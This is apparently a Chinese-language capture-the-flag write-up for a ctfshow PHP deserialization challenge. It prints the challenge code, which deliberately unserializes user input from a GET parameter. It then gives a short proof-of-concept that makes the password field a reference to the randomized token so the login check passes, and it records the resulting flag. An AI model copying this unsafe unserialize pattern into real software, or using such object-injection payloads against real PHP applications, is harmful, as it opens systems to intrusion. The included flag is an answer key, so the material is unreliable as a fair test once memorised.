PHP/5.6.40变量引用

    1. <?php
    2. /*
    3. # -*- coding: utf-8 -*-
    4. # @Author: h1xa
    5. # @Date: 2020-12-04 23:52:24
    6. # @Last Modified by: h1xa
    7. # @Last Modified time: 2020-12-05 00:17:08
    8. # @email: h1xa@ctfer.com
    9. # @link: https://ctfer.com
    10. */
    11. error_reporting(0);
    12. include('flag.php');
    13. highlight_file(__FILE__);
    14. class ctfshowAdmin{
    15. public $token;
    16. public $password;
    17. public function __construct($t,$p){
    18. $this->token=$t;
    19. $this->password = $p;
    20. }
    21. public function login(){
    22. return $this->token===$this->password;
    23. }
    24. }
    25. $ctfshow = unserialize($_GET['ctfshow']);
    26. $ctfshow->token=md5(mt_rand());
    27. if($ctfshow->login()){
    28. echo $flag;
    29. }

    token 会变,让 password 成为 token 的引用就好了

    poc

    1. <?php
    2. class ctfshowAdmin{
    3. public $token;
    4. public $password;
    5. }
    6. $admin = new ctfshowAdmin();
    7. $admin->password = &$admin->token;
    8. echo(urlencode(serialize($admin)));
    9. ?>

    image.png
    flag
    ctfshow{004e5324-66ef-4c7e-9a24-4d48c0c02176}